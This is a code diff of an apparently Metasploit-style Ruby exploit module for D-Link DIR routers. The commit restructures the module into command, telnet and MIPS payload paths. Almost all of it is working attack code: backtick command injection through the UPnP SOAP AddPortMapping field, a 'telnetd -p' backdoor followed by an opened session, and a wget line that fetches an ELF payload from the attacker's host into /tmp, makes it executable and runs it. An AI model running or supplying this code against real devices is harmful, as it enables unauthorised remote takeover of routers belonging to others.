@@ -59,164 +59,118 @@ def initialize(info = {})
59
59
'Platform' => 'unix'
60
60
}
61
61
] ,
62
- [ 'Telnet' , #all devices
62
+ [ 'Telnet' , #all devices - default target
63
63
{
64
64
'Arch' => ARCH_CMD ,
65
65
'Platform' => 'unix'
66
66
}
67
67
] ,
68
- [ 'Linux mipsel Payload' , #DIR-865, DIR-645, and others with wget installed
68
+ [ 'Linux mipsel Payload' , #DIR-865, DIR-645 and others with wget installed
69
69
{
70
70
'Arch' => ARCH_MIPSLE ,
71
71
'Platform' => 'linux'
72
72
}
73
73
] ,
74
74
] ,
75
- 'DefaultTarget' => 0
75
+ 'DefaultTarget' => 1
76
76
) )
77
77
78
78
register_options (
79
79
[
80
- Opt ::RPORT ( 49152 ) ,
80
+ Opt ::RPORT ( 49152 ) , #port of UPnP SOAP webinterface
81
81
OptAddress . new ( 'DOWNHOST' , [ false , 'An alternative host to request the MIPS payload from' ] ) ,
82
82
OptString . new ( 'DOWNFILE' , [ false , 'Filename to download, (default: random)' ] ) ,
83
83
OptInt . new ( 'HTTP_DELAY' , [ true , 'Time that the HTTP Server will wait for the ELF payload request' , 60 ] ) ,
84
84
] , self . class )
85
85
end
86
86
87
+ def exploit
88
+ new_portmapping_description = rand_text_alpha ( 8 )
89
+ new_external_port = rand ( 65535 )
90
+ new_internal_port = rand ( 65535 )
87
91
88
- def request ( cmd , type , new_external_port , new_internal_port , new_portmapping_description )
89
-
90
- uri = '/soap.cgi'
91
-
92
- data_cmd = "<?xml version=\" 1.0\" ?>"
93
- data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\" http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\" http://schemas.xmlsoap.org/soap/encoding/\" >"
94
- data_cmd << "<SOAP-ENV:Body>"
95
-
96
- if type == "add"
97
- vprint_status ( "#{ rhost } :#{ rport } - adding portmapping" )
98
-
99
- soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
100
-
101
- data_cmd << "<m:AddPortMapping xmlns:m=\" urn:schemas-upnp-org:service:WANIPConnection:1\" >"
102
- data_cmd << "<NewPortMappingDescription>#{ new_portmapping_description } </NewPortMappingDescription>"
103
- data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
104
- data_cmd << "<NewInternalClient>`#{ cmd } `</NewInternalClient>"
105
- data_cmd << "<NewEnabled>1</NewEnabled>"
106
- data_cmd << "<NewExternalPort>#{ new_external_port } </NewExternalPort>"
107
- data_cmd << "<NewRemoteHost></NewRemoteHost>"
108
- data_cmd << "<NewProtocol>TCP</NewProtocol>"
109
- data_cmd << "<NewInternalPort>#{ new_internal_port } </NewInternalPort>"
110
- data_cmd << "</m:AddPortMapping>"
92
+ if target . name =~ /CMD/
93
+ exploit_cmd ( new_external_port , new_internal_port , new_portmapping_description )
94
+ elsif target . name =~ /Telnet/
95
+ exploit_telnet ( new_external_port , new_internal_port , new_portmapping_description )
111
96
else
112
- #we should clean it up ... otherwise we are not able to exploit it multiple times
113
- vprint_status ( "#{ rhost } :#{ rport } - deleting portmapping" )
114
- soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"
115
-
116
- data_cmd << "<m:DeletePortMapping xmlns:m=\" urn:schemas-upnp-org:service:WANIPConnection:1\" >"
117
- data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{ new_external_port } </NewExternalPort><NewRemoteHost></NewRemoteHost>"
118
- data_cmd << "</m:DeletePortMapping>"
97
+ exploit_mips ( new_external_port , new_internal_port , new_portmapping_description )
119
98
end
99
+ end
120
100
121
- data_cmd << "</SOAP-ENV:Body>"
122
- data_cmd << "</SOAP-ENV:Envelope>"
123
-
124
- begin
125
- res = send_request_cgi ( {
126
- 'uri' => uri ,
127
- 'vars_get' => {
128
- 'service' => 'WANIPConn1'
129
- } ,
130
- 'ctype' => "text/xml" ,
131
- 'method' => 'POST' ,
132
- 'headers' => {
133
- 'SOAPAction' => soapaction ,
134
- } ,
135
- 'data' => data_cmd
136
- } )
137
- return res
138
- rescue ::Rex ::ConnectionError
139
- vprint_error ( "#{ rhost } :#{ rport } - Failed to connect to the web server" )
140
- return nil
101
+ def exploit_cmd ( new_external_port , new_internal_port , new_portmapping_description )
102
+ if not ( datastore [ 'CMD' ] )
103
+ fail_with ( Exploit ::Failure ::BadConfig , "#{ rhost } :#{ rport } - Only the cmd/generic payload is compatible" )
141
104
end
105
+ cmd = payload . encoded
106
+ type = "add"
107
+ res = request ( cmd , type , new_external_port , new_internal_port , new_portmapping_description )
108
+ if ( !res or res . code != 200 or res . headers [ 'Server' ] . nil? or res . headers [ 'Server' ] !~ /Linux\, \ HTTP\/ 1.1,\ DIR/ )
109
+ fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to execute payload" )
110
+ end
111
+ print_status ( "#{ rhost } :#{ rport } - Blind Exploitation - unknown Exploitation state" )
112
+ type = "delete"
113
+ res = request ( cmd , type , new_external_port , new_internal_port , new_portmapping_description )
114
+ if ( !res or res . code != 200 or res . headers [ 'Server' ] . nil? or res . headers [ 'Server' ] !~ /Linux\, \ HTTP\/ 1.1,\ DIR/ )
115
+ fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to execute payload" )
116
+ end
117
+ return
142
118
end
143
119
144
- def exploit
145
- downfile = datastore [ 'DOWNFILE' ] || rand_text_alpha ( 8 + rand ( 8 ) )
120
+ def exploit_telnet ( new_external_port , new_internal_port , new_portmapping_description )
121
+ telnetport = rand ( 65535 )
146
122
147
- new_portmapping_description = rand_text_alpha ( 8 )
148
- new_external_port = rand ( 65535 )
149
- new_internal_port = rand ( 65535 )
123
+ vprint_status ( "#{ rhost } :#{ rport } - Telnetport: #{ telnetport } " )
150
124
151
- if target . name =~ /CMD/
152
- if not ( datastore [ 'CMD' ] )
153
- fail_with ( Exploit ::Failure ::BadConfig , "#{ rhost } :#{ rport } - Only the cmd/generic payload is compatible" )
154
- end
155
- cmd = payload . encoded
156
- type = "add"
157
- res = request ( cmd , type , new_external_port , new_internal_port , new_portmapping_description )
158
- if ( !res or res . code != 200 )
159
- fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to execute payload" )
160
- end
161
- print_status ( "#{ rhost } :#{ rport } - Blind Exploitation - unknown Exploitation state" )
162
- type = "delete"
163
- res = request ( cmd , type , new_external_port , new_internal_port , new_portmapping_description )
164
- if ( !res or res . code != 200 )
165
- fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to execute payload" )
166
- end
167
- return
125
+ cmd = "telnetd -p #{ telnetport } "
126
+ type = "add"
127
+ res = request ( cmd , type , new_external_port , new_internal_port , new_portmapping_description )
128
+ if ( !res or res . code != 200 or res . headers [ 'Server' ] . nil? or res . headers [ 'Server' ] !~ /Linux\, \ UPnP\/ 1.0,\ DIR/ )
129
+ fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to execute payload" )
130
+ end
131
+ type = "delete"
132
+ res = request ( cmd , type , new_external_port , new_internal_port , new_portmapping_description )
133
+ if ( !res or res . code != 200 or res . headers [ 'Server' ] . nil? or res . headers [ 'Server' ] !~ /Linux\, \ UPnP\/ 1.0,\ DIR/ )
134
+ fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to execute payload" )
168
135
end
169
136
170
- if target . name =~ /Telnet/
171
- telnetport = rand ( 65535 )
172
-
173
- vprint_status ( "#{ rhost } :#{ rport } - Telnetport: #{ telnetport } " )
174
-
175
- cmd = "telnetd -p #{ telnetport } "
176
- type = "add"
177
- res = request ( cmd , type , new_external_port , new_internal_port , new_portmapping_description )
178
- if ( !res or res . code != 200 )
179
- fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to execute payload" )
180
- end
181
- type = "delete"
182
- res = request ( cmd , type , new_external_port , new_internal_port , new_portmapping_description )
183
- if ( !res or res . code != 200 )
184
- fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to execute payload" )
185
- end
137
+ begin
138
+ sock = Rex ::Socket . create_tcp ( { 'PeerHost' => rhost , 'PeerPort' => telnetport . to_i } )
186
139
187
- begin
188
- sock = Rex ::Socket . create_tcp ( { 'PeerHost' => rhost , 'PeerPort' => telnetport . to_i } )
189
-
190
- if sock
191
- print_good ( "#{ rhost } :#{ rport } - Backdoor service has been spawned, handling..." )
192
- else
193
- fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Backdoor service has not been spawned!!!" )
194
- end
195
-
196
- print_status "Attempting to start a Telnet session #{ rhost } :#{ telnetport } "
197
- auth_info = {
198
- :host => rhost ,
199
- :port => telnetport ,
200
- :sname => 'telnet' ,
201
- :user => "" ,
202
- :pass => "" ,
203
- :source_type => "exploit" ,
204
- :active => true
205
- }
206
- report_auth_info ( auth_info )
207
- merge_me = {
208
- 'USERPASS_FILE' => nil ,
209
- 'USER_FILE' => nil ,
210
- 'PASS_FILE' => nil ,
211
- 'USERNAME' => nil ,
212
- 'PASSWORD' => nil
213
- }
214
- start_session ( self , "TELNET (#{ rhost } :#{ telnetport } )" , merge_me , false , sock )
215
- rescue
140
+ if sock
141
+ print_good ( "#{ rhost } :#{ rport } - Backdoor service has been spawned, handling..." )
142
+ else
216
143
fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Backdoor service has not been spawned!!!" )
217
144
end
218
- return
145
+
146
+ print_status "Attempting to start a Telnet session #{ rhost } :#{ telnetport } "
147
+ auth_info = {
148
+ :host => rhost ,
149
+ :port => telnetport ,
150
+ :sname => 'telnet' ,
151
+ :user => "" ,
152
+ :pass => "" ,
153
+ :source_type => "exploit" ,
154
+ :active => true
155
+ }
156
+ report_auth_info ( auth_info )
157
+ merge_me = {
158
+ 'USERPASS_FILE' => nil ,
159
+ 'USER_FILE' => nil ,
160
+ 'PASS_FILE' => nil ,
161
+ 'USERNAME' => nil ,
162
+ 'PASSWORD' => nil
163
+ }
164
+ start_session ( self , "TELNET (#{ rhost } :#{ telnetport } )" , merge_me , false , sock )
165
+ rescue
166
+ fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Backdoor service has not been spawned!!!" )
219
167
end
168
+ return
169
+ end
170
+
171
+ def exploit_mips ( new_external_port , new_internal_port , new_portmapping_description )
172
+
173
+ downfile = datastore [ 'DOWNFILE' ] || rand_text_alpha ( 8 +rand ( 8 ) )
220
174
221
175
#thx to Juan for his awesome work on the mipsel elf support
222
176
@pl = generate_payload_exe
@@ -267,7 +221,7 @@ def exploit
267
221
cmd = "/usr/bin/wget #{ service_url } -O /tmp/#{ filename } ; chmod 777 /tmp/#{ filename } ; /tmp/#{ filename } "
268
222
type = "add"
269
223
res = request ( cmd , type , new_external_port , new_internal_port , new_portmapping_description )
270
- if ( !res or res . code != 200 )
224
+ if ( !res or res . code != 200 or res . headers [ 'Server' ] . nil? or res . headers [ 'Server' ] !~ /Linux \, \ UPnP \/ 1.0, \ DIR/ )
271
225
fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to deploy payload" )
272
226
end
273
227
@@ -283,11 +237,67 @@ def exploit
283
237
284
238
type = "delete"
285
239
res = request ( cmd , type , new_external_port , new_internal_port , new_portmapping_description )
286
- if ( !res or res . code != 200 )
240
+ if ( !res or res . code != 200 or res . headers [ 'Server' ] . nil? or res . headers [ 'Server' ] !~ /Linux \, \ UPnP \/ 1.0, \ DIR/ )
287
241
fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to execute payload" )
288
242
end
289
243
end
290
244
245
+ def request ( cmd , type , new_external_port , new_internal_port , new_portmapping_description )
246
+
247
+ uri = '/soap.cgi'
248
+
249
+ data_cmd = "<?xml version=\" 1.0\" ?>"
250
+ data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\" http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\" http://schemas.xmlsoap.org/soap/encoding/\" >"
251
+ data_cmd << "<SOAP-ENV:Body>"
252
+
253
+ if type == "add"
254
+ vprint_status ( "#{ rhost } :#{ rport } - adding portmapping" )
255
+
256
+ soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
257
+
258
+ data_cmd << "<m:AddPortMapping xmlns:m=\" urn:schemas-upnp-org:service:WANIPConnection:1\" >"
259
+ data_cmd << "<NewPortMappingDescription>#{ new_portmapping_description } </NewPortMappingDescription>"
260
+ data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
261
+ data_cmd << "<NewInternalClient>`#{ cmd } `</NewInternalClient>"
262
+ data_cmd << "<NewEnabled>1</NewEnabled>"
263
+ data_cmd << "<NewExternalPort>#{ new_external_port } </NewExternalPort>"
264
+ data_cmd << "<NewRemoteHost></NewRemoteHost>"
265
+ data_cmd << "<NewProtocol>TCP</NewProtocol>"
266
+ data_cmd << "<NewInternalPort>#{ new_internal_port } </NewInternalPort>"
267
+ data_cmd << "</m:AddPortMapping>"
268
+ else
269
+ #we should clean it up ... otherwise we are not able to exploit it multiple times
270
+ vprint_status ( "#{ rhost } :#{ rport } - deleting portmapping" )
271
+ soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"
272
+
273
+ data_cmd << "<m:DeletePortMapping xmlns:m=\" urn:schemas-upnp-org:service:WANIPConnection:1\" >"
274
+ data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{ new_external_port } </NewExternalPort><NewRemoteHost></NewRemoteHost>"
275
+ data_cmd << "</m:DeletePortMapping>"
276
+ end
277
+
278
+ data_cmd << "</SOAP-ENV:Body>"
279
+ data_cmd << "</SOAP-ENV:Envelope>"
280
+
281
+ begin
282
+ res = send_request_cgi ( {
283
+ 'uri' => uri ,
284
+ 'vars_get' => {
285
+ 'service' => 'WANIPConn1'
286
+ } ,
287
+ 'ctype' => "text/xml" ,
288
+ 'method' => 'POST' ,
289
+ 'headers' => {
290
+ 'SOAPAction' => soapaction ,
291
+ } ,
292
+ 'data' => data_cmd
293
+ } )
294
+ return res
295
+ rescue ::Rex ::ConnectionError
296
+ vprint_error ( "#{ rhost } :#{ rport } - Failed to connect to the web server" )
297
+ return nil
298
+ end
299
+ end
300
+
291
301
# Handle incoming requests from the server
292
302
def on_request_uri ( cli , request )
293
303
#print_status("on_request_uri called: #{request.inspect}")
0 commit comments